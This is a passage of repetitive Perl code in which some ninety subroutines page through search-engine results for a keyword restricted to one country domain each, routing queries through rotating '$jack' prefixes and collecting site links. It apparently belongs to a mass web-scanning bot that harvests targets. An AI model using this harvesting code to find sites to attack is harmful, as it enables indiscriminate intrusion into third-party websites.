push(@list,@grep); } } } return @list; } sub gt() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Agt%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gg() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack3.uri_escape($key)."%2Bsite%3Agg%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ht() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Aht%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub hn() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Ahn%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub hk() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Ahk%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub is() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Ais%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ie() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Aie%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub im() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Aim%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub je() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Aje%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub jo() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack11.uri_escape($key)."%2Bsite%3Ajo%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub kz() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack12.uri_escape($key)."%2Bsite%3Akz%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ke() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack13.uri_escape($key)."%2Bsite%3Ake%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ir() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack14.uri_escape($key)."%2Bsite%3Air%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub vn() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack15.uri_escape($key)."%2Bsite%3Avn%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub kg() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack14.uri_escape($key)."%2Bsite%3Akg%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub lv() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack15.uri_escape($key)."%2Bsite%3Alv%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ls() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack16.uri_escape($key)."%2Bsite%3Als%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ly() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack17.uri_escape($key)."%2Bsite%3Aly%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub li() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack18.uri_escape($key)."%2Bsite%3Ali%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub lt() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack19.uri_escape($key)."%2Bsite%3Alt%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub lu() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack20.uri_escape($key)."%2Bsite%3Alu%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mw() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack21.uri_escape($key)."%2Bsite%3Amw%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mt() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack22.uri_escape($key)."%2Bsite%3Amt%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mu() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack23.uri_escape($key)."%2Bsite%3Amu%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub fm() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack24.uri_escape($key)."%2Bsite%3Afm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mn() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack25.uri_escape($key)."%2Bsite%3Amn%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ms() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack26.uri_escape($key)."%2Bsite%3Ams%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ma() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack27.uri_escape($key)."%2Bsite%3Ama%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub na() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack28.uri_escape($key)."%2Bsite%3Ana%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub np() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack29.uri_escape($key)."%2Bsite%3Anp%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub nz() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack30.uri_escape($key)."%2Bsite%3Anz%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ni() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Ani%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub nf() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Anf%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub no() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack3.uri_escape($key)."%2Bsite%3Ano%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub om() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Aom%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pk() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Apk%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pa() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Apa%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub py() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Apy%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pe() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Ape%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pn() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Apn%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pt() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Apt%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pr() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack11.uri_escape($key)."%2Bsite%3Apr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub qa() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack12.uri_escape($key)."%2Bsite%3Aqa%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub rw() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack13.uri_escape($key)."%2Bsite%3Arw%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sh() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack14.uri_escape($key)."%2Bsite%3Ash%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sm() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack15.uri_escape($key)."%2Bsite%3Asm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sa() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack16.uri_escape($key)."%2Bsite%3Asa%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sn() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack17.uri_escape($key)."%2Bsite%3Asn%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sc() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack18.uri_escape($key)."%2Bsite%3Asc%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sg() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack19.uri_escape($key)."%2Bsite%3Asg%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sk() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack20.uri_escape($key)."%2Bsite%3Ask%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub za() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack21.uri_escape($key)."%2Bsite%3Aza%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub lk() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack22.uri_escape($key)."%2Bsite%3Alk%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub vc() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack23.uri_escape($key)."%2Bsite%3Avc%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub se() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack24.uri_escape($key)."%2Bsite%3Ase%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ch() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack25.uri_escape($key)."%2Bsite%3Ach%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tw() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack26.uri_escape($key)."%2Bsite%3Atw%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tj() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack27.uri_escape($key)."%2Bsite%3Atj%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bs() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack28.uri_escape($key)."%2Bsite%3Abs%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub to() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack29.uri_escape($key)."%2Bsite%3Ato%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tt() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack30.uri_escape($key)."%2Bsite%3Att%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tr() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Atr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tm() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Atm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub vi() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack3.uri_escape($key)."%2Bsite%3Avi%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ug() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Aug%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub uy() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Auy%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub uz() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Auz%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ve() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Ave%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub vm() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Avm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub zm() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Azm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ws() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Aws%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub af() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack11.uri_escape($key)."%2Bsite%3Aaf%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ax() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack12.uri_escape($key)."%2Bsite%3Aax%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub al() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack13.uri_escape($key)."%2Bsite%3Aal%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub dz() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack14.uri_escape($key)."%2Bsite%3Adz%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ao() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack15.uri_escape($key)."%2Bsite%3Aao%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub aq() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack16.uri_escape($key)."%2Bsite%3Aaq%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub am() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack17.uri_escape($key)."%2Bsite%3Aam%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub aw() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack18.uri_escape($key)."%2Bsite%3Aaw%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ac() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = 